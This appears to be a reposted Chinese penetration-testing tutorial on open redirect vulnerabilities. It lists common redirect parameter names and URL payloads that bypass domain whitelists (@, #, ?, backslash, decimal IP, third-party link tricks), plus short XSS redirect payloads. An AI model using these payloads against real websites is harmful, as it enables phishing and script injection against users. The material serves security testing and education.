URL重定向及绕过方法

2022/8/27 23:35:04

本文主要是介绍URL重定向及绕过方法,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1 概述

URL重定向漏洞也称URL任意跳转漏洞,是由于网站信任了用户的输入导致恶意跳转。URL重定向主要用来钓鱼,比如URL跳转中最常见的跳转在登录口、支付口,也就是一旦登录将会跳转任意自己构造的网站,如果设置成指定的URL,则会造成钓鱼等危害。

2 详情

2.1 跳转常用参数

在测试中多留意一些跳转的参数,更直接的是直接关注状态码为301、302的数据包,然后再去分析尝试是否存在任意跳转。最简单的跳转就是在这些参数后面加上要跳转的地址,访问后即可成功跳转。不过,这种跳转在实战中很少能碰到了,大部分都是需要去绕一下。

URL跳转常用参数如下:

redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain
Out
Dout
go
return
returnTo
logout
register
login
returnUrl
path
redirectURI
redir
returl
share
wap
src
source
u
display
sourceURl
imageURL
linkurl
RedirectUrl
service
redirect_uri
destUrl
oauth_callback
oauth
goto
redirectUrl
callback
return_url
toUrl
ReturnUrl
fromUrl
redUrl
request

2.2 绕过常用方法

绕过常用的方法如下:

@ 绕过 
http://xxx.com/?url=http://xxx.com@baidu.com
? 绕过
http://xxx.com/?url=http://baidu.com?xxx.com
. 绕过
http://xxx.com/?url=http://xxx.com.baidu.com
# 绕过
http://xxx.com/?url=http://baidu.com#xxx.com
/ 绕过,可以尝试多个正斜杠一起用,如/、//、///
http://xxx.com/?url=http://baidu.com/xxx.com
\ 绕过
http://xxx.com/?url=http://baidu.com\xxx.com
双写参数 绕过
http://xxx.com/?url=http://xxx.com&url=http://baidu.com
进制 绕过
http://xxx.com/?url=http://3232235777   
(3232235777为IP地址192.168.1.1的十进制值
以192.168.1.1为例,把它转为10进制数的公式是:
192 * 256^3 + 168 * 256^2 +1 * 256 + 1 * 1 = 3232235777)
第三方 绕过
http://xxx.com/?url=https://www.baidu.com/link?url=yti8PhYOnbmJkgvkJj4P7iT4HLM4BO9pK0esOAK376K
(假设网站是允许跳转baidu.com这个域名的,但不可跳转别的域名,那就可以借助baidu.com这个域名来实现跳转到其他网站)

# 绕过

image-20220811105945382

@ 绕过

image-20220811110313214

. 绕过

image-20220811110628593

2.3 使用XSS语句

构造XSS语句,使其进行URL跳转,其本质是此处存在XSS跨站脚本漏洞。

部分跳转的XSS语句如下:

<sCrIpT>location.href="http://www.baidu.com";</ScRiPt> 
<script>location.replace("http://www.baidu.com")</script>
<script>location.assign("http://www.baidu.com")</script>
<img src=1 one rror=location.href="http://www.baidu.com">
<meta content="1;url=http://www.baidu.com" http-equiv="refresh">


这篇关于URL重定向及绕过方法的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程